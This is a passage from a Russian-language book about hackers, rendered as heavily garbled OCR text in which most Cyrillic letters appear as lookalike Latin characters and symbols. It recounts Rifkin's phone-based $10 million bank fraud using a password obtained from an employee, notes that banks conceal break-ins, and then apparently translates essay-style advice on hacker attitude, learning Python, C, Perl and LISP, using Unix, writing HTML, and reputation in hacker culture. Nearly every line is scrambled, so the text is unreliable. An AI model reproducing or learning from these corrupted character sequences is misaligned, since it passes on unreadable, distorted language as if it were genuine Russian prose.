JIApCTBEHHON pEBU3MOHHOM CITY>KObI ¥ TIOMHTEPECOBAJICS Y OMHOTO U3 paboT-
HUKOB 0aHKa, KaKO TapoJib IeMCTBOBAJ B TOT JACHb IS TIepeIadn ICHEKHBIX
CYMM MeXay 6aHKOM M ero maptHepamu. CiyXaluii, He 3aayMbIBasich, Ha-
3BaJI CEKPETHBIN TTapOJIb, MEHSIBILIUICS €XXeTHEBHO.

B toT Xe neHp PudKuH 1mo3BoHUI B 0aHK ¢ TejedoHa-aBToMaTa, Ioj
MMEHEeM OJHOTO M3 COTPYAHUKOB. OH Ha3BaJ Mapojb U MOMPOCUII EPEBECTH
Ha cueT (OTKPBIThII UM CIIELMAIBHO JIJISI 3TOM MPECTYITHOM LIEJIN) «KPYIIIyIo»
cymmy B $10 MiIH. YIMBUTEIBHO, HO YePE3 HEKOTOPOE BPEMsI MOIIIEHHHUK CIIO-
KOWHO MOIyYUJT I€HbIM U cKpbUIcs. [Tonnuyu nNpuiliock HeMaio NOTPYIAUTh-
csl, YTOOBI 3aMaHUTh MIPECTYIMHUKA 00paTHO, Ha TeppuTopuio CoennHEeHHbIX
IlITaroB, u apectoBath. OmHAKO ellle TPyAHEE 0Ka3ajJloCh, KaK HU CTPaHHO,
yoenuTh pyKoBOACTBO TuX00KeaHCKOro 6aHka mojaTh UCKOBOE 3asiBJICHUE B
cya. ObMaHyThle KJIEPKU YIMOPHO OTpULAIM (haKT MpecTyIeHUs; OHU YT-
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BEPXKIAJIU, YTO B UX KOMIIBIOTEPHOM «XO35IICTBE» BCE HOPMAJIbHO — 10 Kpai-
HEM Mepe, «<HU KOMIIBIOTEPbI, HU JIIOIU HE omunbatorcs!»

B dunane stoit ucropun Pudkun nosyuun 8 et Tiopbmbl, a B Tuxo-
OKeaHCKOM OaHKe Obula MpoBeJeHa cepbe3Hasi peopranuszauus. B yactHocTy,
ObLT 3aMETHO YCUJIEH KOHTPOJIb Hall BKJIaJJaMH, a y IBEpeil aBTOMaTU3UPOBAH -
HOTO IMyHKTA TUIaTeXel MOsIBUIICS BOOPY>XEHHbII OXpaHHUK.

Camoe yauBUTENbHOE, YTO 3a TOJbI, MPOIIEAIINe C MOMEHTA Cyaa Hall
PudxuHbIM, B OTHOIIEHUSIX MEXIY MOJUIMEe 1 OaHKaMU MaJjlo YTO U3MEHM -
JIOCh.

Kak paHblile, Tak U CETOIHS MOCTPafaBIIne OT XaKepOB (PMHAHCOBBIE
YIpeXIeHUS KpailHe HEOXOTHO COTJIAIAOTCS Ha OUITHAIbHEIC PacciIenoBa-
Hus. B yem tyt neno? OkasbiBaeTcsl, KJIIEpKHU MPpocTo 6ositest orytacku! JIro6oit
GaHKHUP, YBAXKAIOIINIA ceOsT ¥ CBOU OM3HEC, ITYOOKO 00ECITOKOEH peryTalueit
CBoeil (PMPMBI. A TIOCKOJIBKY B IEJIOBOM MUpE LIEHUTCS, MPEXIe BCEro, Ha-
JIEXXHOCTb W PecrekTabebHOCTb, TO €CTh MOJHBIA PE30H MOJYaTh O CBOMX
npobiemax. IlogymaiiTe, 0 Kakoi HaJeXHOCTM MOXKET WATU peyb, KOraa
B KOMIIBIOTEPHOI CHCTeMe OaHKa «ITacyTcsl» Xakephl?!

Ha moBepXHOCTh BCILIBIBAIOT, KaK MPaBUJIO, CaMble «TPOMKHE» W Ha-
rible npectyruieHus. B Hauane 90-x ronos, HampuMep, B CPeICTBaX MacCOBOM
MH(bOPMAIINY TOSIBUIIOCH COOOIIIEHNE O TPaHIMO3HOM IIIaHTaXe, TPEATPUHS -
TOM HEM3BECTHHIMU JIMIIAMH B OTHOIIEHUHW (HM MHOTO HU MaJjio) cpasy TSATH
BEIyIIUX OPUTAHCKIX OAHKOB!

[laHTaxXKCTBI TPEOOBAIN KPYITHBIX IEHEXKHBIX CyMM. OHU yOEKIeHHO
3as1BJISIM, UTO 3HAIOT MYTh B KOMITBIOTEPHBIE CUCTEMbI KaXKJ0TO U3 TSITH OaH-
KOB. B 3HaK cepbe3HOCTH CBOMX LieJieil MPEeCTYITHUKU JeMOHCTPUPOBAIM, KaK
JIOBKO OHM YMEIOT ITPOHUKATh B KOMITbIOTEPHbIE CUCTEMbI, KOTOphIE, Ka3a-
JIOCh, ObLIM HaIEXHO 3alluIleHbl. JIeCTBUS XaKepoB BbI3BAIU CUIIbHEiIIIEe
0eCHOKONCTBO PYKOBOAUTEEH OaHKOB (Belb MOBPEXIEHNUE KOMIIbIOTEPHOI
CHUCTEeMbI TpeOyeT OrPOMHBIX IEHEXKHBIX CPEICTB Ha BoccTaHoBeHue!). U, pa-
3yMeeTCsl, PYKOBOAUTENM OaHKOB HAOTPe3 OTKA3bIBAIMCh OT KaKUX-JIUOO
KOMMEHTapHEB IO MOBOJY IIaHTaxa.

INpakTrka 3aMamuuMBaHUsI HE JAeT BO3MOXHOCTU ITOJYYUTH TOJIHYIO
U JOCTOBEPHYIO CTATUCTUKY O XaKEPCKUX MPECTYTUICHUSIX; KOJTUYECTBO «B3JIO-
MOB», HaBepHsIKa, OOJIbllIe, YeM OTPaKEHO B KPUMUHAIbHBIX CBOAKAX!

A tenepp oOpatuMcs enle pa3ok K neny C. M. Pudkuna. Hamo 3ame-
TUTb, YTO YPOBEHb OPraHU3aLIMU 3TOTO MPECTYIIECHUS BIIOJHE COOTBETCTBO-
BaJI YPOBHIO Pa3BUTUSI KOMIBIOTePHBIX cpeacTtB 70-x romoB. HerpymHo mora-
JAThCSI, YTO C PA3BUTHEM KOMITBIOTEPHON TEXHUKHU <«apCEHAaJbl» XaKepoB
TTOTTOJIHWJIMCh HOBBIMU MOIITHBIMU CPEICTBAMM.
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AaBa 2.
XaKepCcKU NOAXOA,

Xakepbl pemnaioT MpooOJeMbl U CTPOST BEIIW, OHU BEpSIT B CBOOOIY
1 B TOOPOBOJILHYIO B3aMMOITOMOIIIb. JIJIsT TOrO, YTOOBI Bac BOCTIPMHUMAJHN
KakK Xakepa, BBl JOJDKHBI BECTH ce0sT TaK, KaK ecJii Obl 3TO ObLIa Ballia co0-
CTBEHHas MO3UIINS. A JUIS TOTO, YTOOBI BECTHU ce0s TaK, OYATO 3TO Ballla O3H-
1M, BBI JOJDKHBI IEWCTBUTEILHO BEPUTD B 3TY TTO3ULIMIO.

Ho ecnu BBl paccuuThiBaeTe KyJbTUBUPOBATH XaKEPCKUE TMOAXOMIbI
JIMIB [T TIOJYYeHUsT MPU3HAHUS B KYJbTYpe, TO Bbl YIYCTHIM CyTh. CTaTh Ta-
KUM Y€JIOBEKOM, KTO BEPUT B MOAOOHBIE BEIIIU, — 3TO BaXKHO IS Bac, MOTOMY
YTO 3TO NMOMOXET BaM HayYUThCs U MOIAEPXKUT cTpemiieHre. Kak u B 1o6om
TBOpPYECTBE, caMblii 3(p(PeKTUBHBIN CITIOCOO CTaTh MAaCTEPOM — 3TO MOJpaKaTh
MMPOBO33PEHUIO MACTEPOB, HE TOJbKO MHTE/UIEKTYaJIbHO, HO TaKXKe U SMOILI -
OHAJIbHO.

Taxk 4To ecay BBI XOTHTE CTaThb XaKEepOM, TO IOBTOPSIITE CleayIOIIe
BEIIU, ITOKA HEe ITIOBEPUTE B HUX:

* Mup TOJIOH TUIEHUTEIbHBIX TPOOJIEM, XKIYIIIMX CBOETO
penieHus.

BBITh XakepoM — 3TO OTPOMHOE YIOBOJIBCTBUE, HO 3TO YIOBOJLCTBHE
TaKOTo pojia, KOTOpoe TpeOyeT MacChl yCWuIHiA. TSt TaKUX YCHIUI Hy>KHA MO-
TUBAIMA. ATIIETHI-YeMITHOHBI YePITAlOT MOTUBAIINIO U3 CBOETO pona hu3nde-
CKOTO YIIOBOJIBCTBUS, MOTy4aeMOro OT JOBEACHMSI COOCTBEHHOTI'O TeJIa JI0 CO-
BEPILICHCTBA, OT MIPEOIOJICHUST COOCTBEHHBIX (DM3MUECKUX TIPEHEIIOB.

HO,HO6HO 9TOMY, YTOOKI OBITh XaK€poOM, BbI JOJIKHBI ITOJIy4YaTbh MaKCHU-
MYM YIOBOJILCTBUA OT PCIICHUA HpO6J'I€M, OT OTTaYMBaHUA CBONX HABBLIKOB,
OT TPEHUPOBKHU CBOCTO MHTCJIJICKTA.

Ecnu ke BbI He 13 TeX, KTO OLIYIIaeT MOA00HbIe BEIM eCTECTBEHHBIM
obpa3oM, TO BaM MOHAAOOUTCSI CTaTh TaKUM, UTOOBLI CIEJIAaThCSI XaKEPOM.
B npoTuBHOM ciiyyae Bbl OOHApYXXUTe, YTO BCs Ballla XaKepcKast SHeprusl uc-
yepriaHa TaKUMU Pa3npaxkMTeIsIMU, KaK CeKC, IEHbIM U YCIeX B OOIIECTBE.

Bbl TakXe T0JKHBI Pa3BUTh UYTO-TO BPOJI€ BEpPbl B Ballld COOCTBEHHbBIE
CIOCOOHOCTH K 00ydeHn10. Bepbl B TO, 4TO AaXe €C/iv Bbl, BO3MOXHO, U HE
3HAeTe BCEro, YTO HEOOXOMMMO JUIsl pellleHUs] TPOOJIEeMbl, HO €CJId Bbl OCBO-
WX JIMIIb KyCOYEK M HAa 3TOM HayYUJIMCh, TO YK€ 3HAeTe JOCTATOYHO, YTOOBI
PEeUInTh U CIEAYIONINIA KYCOK — U TaK Jjajiee, oKa Bce He Oy/eT clieiaHo.

* HuxkTo 1 HUKOTHA HEe TOJDKEeH peuiatb HpO6JIeMy JBa’KbI.
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TBopyecKre MO3T — 3TO LIEHHBII 1 orpaHUYeHHBII pecypc. He cie-
IyeT pacTpayMBaTh MX Ha Ieperu300peTeHne Kojieca, KOTaa BOKPYT OXHUIAeT
TaK MHOTO YyJIeCHEUIITNX HOBBIX ITPOOJIEM.

Y100l BecTH cebsi KaK Xakep, Bbl JOJKHBI BEPUTh, UTO BPEMsI pa3Mbl -
IIJICHUI IPYTUX XaKepoB — JParolieHHO, MpUYeM HaCTOJIbKO, YTO MOUYTH MO-
pPaJIbHBIM JTOJITOM JUISI BAC SIBJISIETCS] MOJENUThLCS MH(bOopMaliueid. Pemmuts mpo-
OsieMbl, a 3aTeM MPOCTO pa3aaTh pelIeHUsI, YTOObI JAPYrue Xakepbl MOTJIM
peliaTh HOBbIE TIPOOJIEMbI BMECTO TOTO, YTOOBI OeCTIpeCTaHHO BO3BPAILIATHCS
K CTapbIM.

Ot Bac He TpeOyeTcsl BepuTh, YTO Bbl 00s13aHBI pa3aaTh BCE ILIOALI CBO-
€r0 TBOPYECTBA, XOTSI T€ XaKephbl, KTO TaK JeJlaeT, — HauboJiee yBaskaeMbl Cpe-
v Apyrux xakepoB. C IIEHHOCTSIMM XaKepOB BITOJIHE COTJIACYeTCsl Mpojaxa
MJIOJOB TBOPYECTBA, JOCTATOYHAsI [JIsl oOecreyeHrs Bac MUILeid, KPOBOM U
KommbloTepaMu. CoryiacyeTcsl 3TO U C MCIOJIb30BaHUEM BalllMX XaKEePCKUX
HaBBIKOB JUISI MOJIEPKAHUS CEMbU U IaXKe IJIs1 TOTO, YTOOBI pa3dorareThb, Mo-
Ka, 3aHUMasiCh 3TUM, Bbl He 3a0bIBaeTe, YTO SIBJISIETECH XaKEPOM.

. CKykKa 1 pyTMHa — 3TO 3J10.

Xaxkepsl (M1 BOOOIIE TBOPYESCKME JIIOAM) HUKOIIA HE JTOJDKHBI 3aHU-
MAaThbCsI CKYYHBIMM BEIIaMU WJIM TIOTPs3aTh B PyTUHE MOHOTOHHOM paboTHI,
ITOTOMY YTO KOTJIa 3TO ITPOMCXOAUT, TO 3TO O3HAYAET, YTO OHU HeE JeNIaloT TO-
TO, YTO MOTYT JIeJIaTh JIUIITb OHU, — PelllaTh HOBbIe ITpo6sieMbl. [Togo6HOe pac-
TOYUTETLCTBO BpeANT Kaxkmomy. [103TOMy cKyKa W pyTHHa — 3TO HE MPOCTO
HeTPUSITHBIC BEIIU, 3TO 3J10.

UYToOnI BecTU cebs1 KakK XaKep, BbI JOJDKHBI BEpUTH B 3TO TaK, YTOOBI XKe-
JIaTh aBTOMATH3allM1 BCeX CKYYHBIX MeJIoUeil HACTOJIbKO, HACKOJIbKO BO3MOXK-
HO, W He TOJIbKO [UIsl ce0sl, HO W JIJISI BCeX OCTaIbHBIX (OCOOEHHO ISl APYTUX
XaKEepoB).

Ho uHorna xakepbl 3aHMMAIOTCSI BellaMu, KOTOPbIE MOTYT MOKa3aThCsl
MOHOTOHHBIMM WJIM CKYYHBIMU CTOPOHHEMY HaOJIoIaTesiio, B KayecTBe
YIpaXKHEHUS IJIs1 TTPOUYUCTKM MO3TOB WIM Ke JUIsl BBIpaOoTKM HaBbiKa. JInbo
Ke JJIs IpUOoOpeTeHNsI 0COO0T0 pojia OMbITa, KOTOPBI HEBO3MOXKHO MOJTYYUTh
uHbIM yTeM. Ho Bce 3To nenaercs 1o cobCTBEHHOMY BbIOODPY, HUKTO U3 YMe-
IOIIUX TyMaTh HUKOTAA HE JOJIKEH MPUHYXAAThCSI K CKY4HOU paboTe.

* CBoboga — 310 6:1aro.

Xakepbl IO caMOii CBOEl MPUPOAE aHTU-aBTOPUTAPHBLI. JI1000, KTO
MOXET OTAaBaTh BaM IMPUKa3aHMsI, MOXET OCTAHOBUTH pellieHWe BaMU JIO-
0oii U3 rpobiieM, Bac oyapoBaBIIUX. M, yauThiBass 00pa3 MBIIUIEHUS aBTO-
pUTapHBIX MO3TOB, HAlYTCS KakrMe-HUOYIb MoTpsicatolle WANOTCKUE MPU-
YHHBI, YTOOBI 3TO cAesaTh. Tak YTO ¢ aBTOPUTAPHBIM MOIXOAOM CJeayeT
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CpaXaThCsl BCIOMY, TJI€ BBl €r0 BCTPETUTE, TaObl OH He JYIIWI Bac M IPYTHUX
XaKepOB.

DTO HE TO Xe caMoe, UTO CPAXKaThCsl CO BCEMMU BIACTIMU. [leTsIM HYyX-
HO PYKOBOJICTBO, MPECTYITHOCTb HEOOXOIUMO CIIEPXKUBATh. XaKep MOXET CO-
JIAIIAThCS HA TIPUHSTHAE KAaKOTO-TO pOJa PYKOBOACTBA, KOTIA €CTh BO3MOX-
HOCTh TTOJIyUMTh TO, YTO HYXHO, U HE 0COO0 MHOTO BpPEMEHU TPAaTUTCS Ha
BBIMOJIHEHUE TIpMKa3oB. Ho 3To orpaHuveHHasi pasyMHasl cliejika, YTO-TO
BPOJIE JINYHOU YCTYMKHU.

ABTOpUTApPU3M TIPOLIBETAET B YCIOBUSX LIEH3YPHI U ceKpeTHOCTU. Ero
aJIeNThI He BEPSIT B J0OPOBOIBLHOE COTPYIHUYECTBO U B IeJieHUEe MHDOpMaI-
eii, UM HPaBUTCS TOJBKO TAKOE «COTPYAHUYECTBO», KOTOPBIM PYKOBOJIST OHMU.
IToaToMy, 4TOOKI BeCcTU ce0sl KaK XaKep, Bbl JOJLKHBI BRIPA0OTaTh B cede MH-
CTUHKTUBHOE HeMPUSITUE LIEH3YPbI, CEKPETHOCTH, & TAKXKE MPUMEHEHUST CUITbI
WY JDKW JJ1 IPUHYXKISHWsT OTBETCTBEHHBIX B3pPOCJBIX Jitoaeil. Y neiicTBo-
BaThb HEOOXOMMMO MCXO/S U3 TAKOM BEPHI.

* [To3uuust He 3aMEHUT KOMIIETEHTHOCTb.

J11st TOro, 9T00BI OBITH XaKEPOM, BBI JOJDKHBI pa3BUTh B ce0¢ HEKOTO-
pble U3 MepeYncIeHHbIX MOAX0a0B. Ho, yXBaTHUB JIUIIb ITOAXO/I, BHI CIEIAETECh
XaKepoM He B OOJIbllIeil CTEMeHU, YeM CIOPTCMEHOM-PEKOPACMEHOM WU
POK-3Be3/10ii. 1151 TOTO, YTOOBI CTATh XaKEPOM, TPEOYIOTCS MHTEIIEKT, IpaK-
THKA, CAMOOTBEPKEHHOCTD U TSKKUIA TPY/I.

IToaToMy BaMm MpuUAETCS HAyYUThCS C HEAOBEPUEM OTHOCHUTCS K TTO3U-
LIMU, HO C YBaXXEHUEM K KOMITETEHTHOCTH JII000T0 pojia. Xakephl He ITO3BOJISIT
rmo3epaM TPAHXXUPUTh UX BPEMSsI, HO OHU IOKJIOHSIIOTCS KOMIICTEHTHOCTH,
0COOEHHO XaKepPCKO KOMIETEHTHOCTH, HO KOMIIETEHTHOCTb XOPOIlla B YeM
yrogHo. Oco60 LeHUTCS 00J1aaHue TAKUMHU HEOOXOIUMbIMI HaBbIKaMU, KO-
TOpPBIE MAJIO Y KOT'O €CTh. A caMoe JIy4lliee — 3TO KOMIIETEHTHOCTb B TAKMX Ha-
BbIKAX, KOTOPbIE TPEOYIOT MPOHMUIATEILHOIO YMa, CHOPOBKM M KOHIIEHTpA-
LIUH.

Ecnu BbI 60roTBOpHUTEe KOMIETEHTHOCTD, TO BBI TTOJIydaeTe HaCIaxIe-
HUe, pa3BuBas ee B cede. TsKKMI TPy U MPeJaHHOCTD eIy CTaHYT ISl Bac
3aXBaTbIBaOIICH UTPOIA, a HEe pyTUHOM. M 3TO XXM3HEHHO HEOOXOIUMO JIJISI TO-
ro, YTOOBI CTaTh XaKEPOM.

'hnaBa 3.
OCHOBHbI@ HOBbIKU XaKepda

XakepcKuii B3IJISIA HAa KU3Hb — 3TO BaXKHO, HO MacTEPCTBO — MHOTO-
KpaTHO BaxkHee. [1o3u111st He 3aMEeHUT KOMITIETEHTHOCTH, U CYILIECTBYET OTpe-
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JICJICHHBIA Ha60p 0a30BbIX HABBIKOB, KOTOpPbIMU BaM HEeoOXoAUMO 00J1aaTh,
npexXaec 4em J1100014 13 XaKE€POB ITOMBICJIIUT Ha3BaTb XaK€POM U Bac.

DTOT 6a30BEIN HAOOP CO BpeMEHEM MOTUXOHLKY M3MEHSETCS 10 Mepe
TOT0, KaK TEXHOJIOTHSI IIOPOXKIAeT HOBbIE HABBIKM U JIeJIaeT HEHY>KHBIMM yCTa-
pesine. HarmpuMmep, 0OBIMHO YITOMMHAIOCH IIPOrpaMMUpOBaHE Ha MaIlIMH-
HOM SI3BIKE, HO, BIIJIOTh A0 HEeJaBHETO BpeMeH!, B HA00Op He BKIIIOUAJIN SI3BIK
HTML. OmHako B CETOOHSIIIHMIT KOMILJIECKT BIIOJIHE OIPEACICHHO BXOIST
CIIeAYIONIIe KOMITOHEHTHI:

* Hayuurech mporpaMMHUpoBaTh.

DTO, KOHEYHO Xe, (PyHAaMeHTaIbHbI XaKepCKuii HaBbIK. Eci Bbl He
3HaeTe HU OJHOTO KOMITBIOTEPHOTO SI3bIKa, PEKOMEHIYyeM HayaTb C sI3bIKa
Python. OH noHsITHO pa3paboTaH, XOPOIIO JOKYMEHTUPOBAH U OTHOCUTEIbHO
nobpoxenaresieH K HoBUYKaM. HecMOTpst Ha TO, YTO OH XOpOIIl JUIsl IEPBOTO
S13bIKa, 9TO HE MPOCTO UTPYIIKA. DTO OUEHb MOILHbBINA U THOKUIA SI3bIK, XOPO-
110 MOAXOASIIIUEA 7151 OOJIbIINUX TPOEKTOB.

Ho 3HaiiTe, 4TO BBl He JOCTUTHETE XaKePCKOTO YPOBHSI MacTepCTBa
(M gaxe TMPOCTO YPOBHST XOPOIIETO MPOrpaMMMCTa), e€Ciu Oynere 3HaTh
JIVIITb ONMH SA3bIK. BaM HE0OX0MMMO HayUYUTHCS MBICIUTDL O TIPOOJIEMax Mpo-
rpaMMMPOBaHMS BOOOIIIE, HE3aBUCHMO OT JIF0OOTO KOHKPETHOTO si3bIKa. UTO-
ObI OBITH HACTOSIIIMM XaKE€POM, BaM HAJlO JOCTUYb YPOBHS, Ha KOTOPOM BbI
CMOXeTe BBIYUMTHb HOBBIN SI3BbIK 32 HECKOJIBKO JTHEM, COOTHOCS TTOJOKEHUSI
PYKOBOJICTBA C TE€M, UYTO BaM YK€ U3BECTHO. DTO O3HAYaeT, YTO BaM CJICAYeT
BBIYYUTh HECKOJIBKO OUYEHb Pa3HBIX S3BIKOB.

Ecnu Bbl 3aHMMaeTeCh CEpbe3HBIM MTPOTPAMMUPOBAHUEM, TO BaM MPU-
neTcst BelyduTh CH, OCHOBHOM SI3bIK OMepallMOHHOM cucteMbl Unix (XOTs 3TO
1 HE TOT SI3bIK, KOTOPBII CJIEAYET MbITAThCS BHIYYUTh MEPBBIM). JIpyrue si3bIK1
MePBOCTENEHHOM BaXXHOCTH 1J1s1 XakepoB — 310 Perl u LISP. f3bik Perl ume-
€T CMBICJI BBIYYUTh M3 MPAKTUUYECKUX COOOpaKeHUIi: OH OYeHb IIIMPOKO HC-
MOJIB3YETCS UISl aKTUBHBIX Web-CTpaHUIL U CUCTEMHOTO aJIMMHUCTPUpPOBa-
HMSI, TaK 4TO JaXe €CAM BaM HUKOTAa He MpuaeTcs mucaTh Ha Perl, BbI
JTOJKHBI HAy4YUThCS ero YnuTaTh. LISP cTOUT BBIy4UTh paau T€X ryOOKUX ITPO-
CBEIIEHHbIX MO3HAHUI, KOTOPbIE Bbl OOpeTeTe, KOrna HaKOHEIl ero OCBOUTE.
DTH MO3HAHMS CHENAI0T BaC MPEeKPaCHBIM TPOrpaMMKCTOM Ha BCIO OCTaBIIY-
10Csl )KU3Hb, J1aXe eCJIM Bbl HUKOTAA 0c000 U He OyaeTe MCMOIb30BaTh cam
LISP.

Jlyume Bcero, Ha caMoM jieJie, BBIyYUTh BCe YeThIpe 3TUX si3bika (Py-
thon, C, Perl, u LISP). [TomuMo TOrO, 4TO 3TO CaMble BaxKHBIE XaKepPCKIe
SI3BIKU, OHU JICMOHCTPUPYIOT OYEHb Pa3HbIE MOAXO/IbI K MPOrpaMMHUPOBaHUIO,
M KaXIBIA M3 HUX HAYYUT Bac IIEHHBIM BEIllaM.
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MBI He MOXeM IaTh 31eCh Pa3BepHYThIe MHCTPYKIIUA OTHOCUTEIHHO
TOTO, KaK HayIUThCS IIPOrpaMMHMPOBATh, — 3TO CJIOXKHOE UCKyccTBO. Ho Mo-
3KeM cKa3aTh BaM, YTO KHUTY M KYPCHI 3TOMY He HaydaT (MHOTHE, BO3MOXHO,
GOJIBPIIMHCTBO JIYYITUX XaKePOB — 3TO caMOY4yKH). UTo 3TOMy y4uT, TaK 3TO
YTeHHe KOJI0B 1 HAMCAHKE KOJIOB.

Hayuurtbest mporpaMMrpoBaTh — 3TO KaK HAYYUTHCS TTHACATh XOPOIITUM
€CTECTBEHHBIM sI3bIKOM. CaMblif JIy4IInii Crocob JJiT 3TOTO — ITOYMTATh
YTO-TO M3 HAIMMCAHHOTO MacTepaMu, 3aTeM HaIcaTh HEMHOTO CAMOMY); TTPO-
YeCTh MOOOJIbIIE, HATMCATh HEMHOTO TTOOO0JIBIIE; IIPOYUTATS ellie OOJIbIIE, Ha-
MHcaTh enie moboblie... M TOBTOPATH 3TOT Mpoliece I0 TeX Mop, IMoKa Ballln
MPOTpaMMBbl HE Pa30BBIOTCSI B HEUTO MOIITHOE M SKOHOMUYIHOE.

OTBICKATh XOPOIIKE KOMIBI JISI YTCHUST PaHblIIe ObLIO CIIOXHO, TIOTOMY
4TO OBLIO OYEHb MAJIO OOJIBIIMX MPOTPAMM, JOCTYITHBIX B UCXOAHBIX KOAAX U
MPUTOIHBIX ISl U3yYSHHUST M BO3HU IOHBIX XakepoB. HbIHe cuTyalivs Kapau-
HaJIbHO U3MEHMUJIACH: IPOTrPAMMBbI B MICXOAHBIX KOIAX, IPOTPAMMUCTCKUIA NH-
CTPYMEHTApUii ¥ OIEePaLlMOHHbBIC CUCTEMBI (BCE 3TO CO3MaHO XaKepaMu) Te-
Iephb HIMPOKO AOCTYIHBL. [1oaTOMY...

* ﬂ,OCTaHbTe OIWH U3 BapuaHTOB Unix B UICXOAHBIX Kogax,
Hay4YuTeCh €ro UCIioJib30BaTb 1 ¢ HUM pa60TaTB.

IMonaraeM, 4TO BBl MMeETe TEPCOHANBHBINM KOMITBIOTED MU MOXKETE
MOJIYYUTh K HEMY HOCTYyIl. EMMHCTBEHHBIN M caMbIil BaXKHBIM I1ar, KOTOPBII
JI060i1 M3 HOBUIKOB MOXET MPEANTPUHSATD JIJIsT TPUOOPETEHUST XaKepCKUX Ha-
BBIKOB, — 3TO pa3ao0bITh Konuio Linux wm ogHoit n3 Bepcuii BSD-Unix, yc-
TaHOBMTH €€ Ha MTePCOHAIIBHOM MalllMHE 1 3aITyCTUTb.

Jla, B MUpe ecTb U ApYyTrue onepaluuoHHble cuctembl, moMmuMo Unix. Ho
HX paclpOCTPaHSIOT B ABOMYHOM BUI€ — Bbl HE CMOXKETe YUTATh KOJAbI U HE
CMOXeTe UMX MOAU(UIIMPOBaTh. YUMTHCS XaKepCTBY Ha MalllMHaX, pabora-
fouux noa DOS, Windows nin MacOS — 3To Bce paBHO, UTO YUUThCS TAHLIE-
BaTh MOJHOCTbIO 3aTUIICOBAHHBIM.

Kpowme toro, Unix — 310 omepanmonHas cucrtema Internet. XoTs BEI
MOXeTe HayYMThCs UCIOIb30BaTh Internet u He 3Hast Unix, HO BBl HE MOXeETe
ObITh Internet-xakepom, He moHuMast Unix. 1o aToit camoii nmpuunHe cero-
IHSIIIHSIS XaKepceKasi KyJIbTypa sBisieTcs BecbMa criibHO Unix-CKOHLIEHTPU-
poBaHHOI. (BTO He Bceraa ObLIO TaK, U HEKOTOPBIM M3 MPEXXHUX XaKePOB Ta-
KO€ TIOJIOKEHME JIeJl He OYeHb M0 HpaBy, HO cuMbuo3 Mexay Unix u Internet
cTaj HACTOJIbKO MPOYEH, UTO Aaxe cuil Microsoft He xBaTaeT, YTOOBI CEPHE3HO
Ha 9TO BJIUSATS.)

Taxk uyto 3aBogute cebe Unix, yuire Bcero Linux, HO ecTb u apyrue Ba-
pyaHTHl (M Oa-ma, Bbl MOXeTe paboTtarh Kak moxa Linux, tak u mox DOS/
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Windows Ha ogHO#i 1 Toit ke MaiuHe). Beiyunte 3ty OC. PaboTaiiTe ¢ Heil.
Boszutecs ¢ Heit. ObaiiTecs uepe3 Hee ¢ Internet. Yuraitte Koael. Monudu-
HupyliTe ux. Bbl mojydyuTe TakKoil MPOrpaMMUCTCKUIA WMHCTPyMEHTapuit
(Bxmovast C, Lisp u Perl), o kotopoM mo6as uz OC Microsoft u He MeuTana.
Bbl mosyuute ya1oBOJLCTBUE, U Bbl YCBOWTE OOJIbIlIe 3HAHU, YeM TTpeanoia-
raju B mpoliecce o0yueHusl, KOraa OmISTHETECh Ha 3TOT MPOLIECC yxKe Oyayuu
MacTepoM-XaKepoM.

* Hayuwntech nucnons3oBate World Wide Web 1 ucats Ha
HTML.

BoablMHCTBO 13 TeX Bellleid, UYTO CO3AaHbl XaKepPCKOM KyJIbTYpOil, Oe-
JIAIOT CBOE JIeJI0 HEBUIMMO, ITIoMorasi padoTaTh pabpukam, yudpeKaeHUsIM U
YHUBEPCUTETAM 0€3 CKOJIbKO-HUOY/b 3aMETHOTO BIMSIHUS HA XXU3Hb HE-XaKe-
poB. WWW — 5T0 ogHO 00JIbIIIOE MCKIIIOUEHME, TUTaHTCKAas OJecTsias xa-
KepcKasl UTpylika, KotTopas Jaxe Mno Mpu3HaHUIO MOJUTUKOB U3MEHSIET MUD.
JIvuib Mo ogHOM 3TON MpUYMHE (a4 TakKe U MHOXECTBY APYTUX MPUSITHBIX
MPUYKH) BaM clieyeT HayduThcs padbotats ¢ Web.

DTO HEe 03HAYaeT, YTO HY>KHO IMPOCTO HAYYUThCS YIIPABIISITHCS ¢ Opay-
3epoM (3T0 JitoOoIi yMeeT), HO HayuyuTbes mucatb HAa HTML, a3bike pasmeTku
nokyMeHToB Web. Eciu BbI ellie He ymeeTe MporpaMMyupoBaTh, TO IMCaHWE Ha
HTML o6y4uT Balle MbIIIJIEHE€ HEKOTOPBIM ITOJIE3HBIM MPUBBIYKAM, KOTO-
pble MPUTOASTCS TP OCBOCHUM SI3bIKOB MPOrpaMMUpOBaHus. Tak 4To aeaii-
T€ JIOMAIIIHIOW CTPAHUYKY.

Ho mpocrtoe obiamaHue moManiHel CTpaHMUYKOM Jaxke W OJM3KO He
TOZIBEJICT Bac K TOMY, YTOOBI CTaTh XakepoM. B Web MoTHBIM-TTOTHO AOMAaTII-
HMX CTpaHWUYeK. BOJBITMHCTBO N3 HUX — 3TO O€CCMBICTICHHBIN, GECTIOIE3HBII
ximam. KpaiiHe OpocKo 1 IpuUBjIeKaTeIbHO 0(pOPMIICHHBIN XJ1aM, O€CCIIOPHO,
HO BCE paBHO XJIaM.

UYToOBI OBITH CTOSIIEH, Ballla CTpaHUYKA JOJDKHA UMETh «KOHTEHT» —
conepxxanue. OHa 10KHA ObITh MHTEPECHOM M/WUJIH MOJIEe3HOM TSI APYTHX Xa-
KEpPOB.

naBa 4.
CraTtyc B XOKepPCKOMN KYAbType

Kak 1 607bIIMHCTBO KYIbTYp 0€3 I1eHeXXHOW SKOHOMUKHM, XaKepJiaH-
JIASI CTPOMTCS Ha penyTalnu. Bbl bITaeTeCh pelimTh MHTEPECHBIE MTPOOIEMBI,
HO BOT HAaCKOJIbKO OHU MHTEPECHBI U HACKOJIbKO B JICMCTBUTEILHOCTU XOPO-
1Y Balllu pellieHusI, — 3TO HEYTO TaKoe, O YeM OOBIYHO MOTYT CYJIUTb TOJBKO
(B TEXHUUECKOM CMBICJIE) paBHbIE BaM MJIM MTPEBOCXOASAIINE Bac.
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TakuM 006pa3om, KOTAa Bbl UTPAeTe B XaKEPCKUE UIPbI, Bbl yUUTECh
BECTU CUET INIaBHBIM 0OPA30M IO TOMY, UTO yMaloT O BallleM MacTepCTBe ApY-
rvue (MMEeHHO MO3TOMY Bbl He Oy/IeTe XaKepoM JI0 TeX Mop, MOKa Bac He CTAaHYT
TakK Ha3blBaTb Jpyrue xakepbl). JlaHHBIN (hakT 3aTeHSIIOT Kak obpa3 Xxake-
pa-oIMHOYKHM, TaK U OMpPeaeIeHHbIE TA0Y XaKePCKOU KyJIbTYphI (HBIHE CYllie-
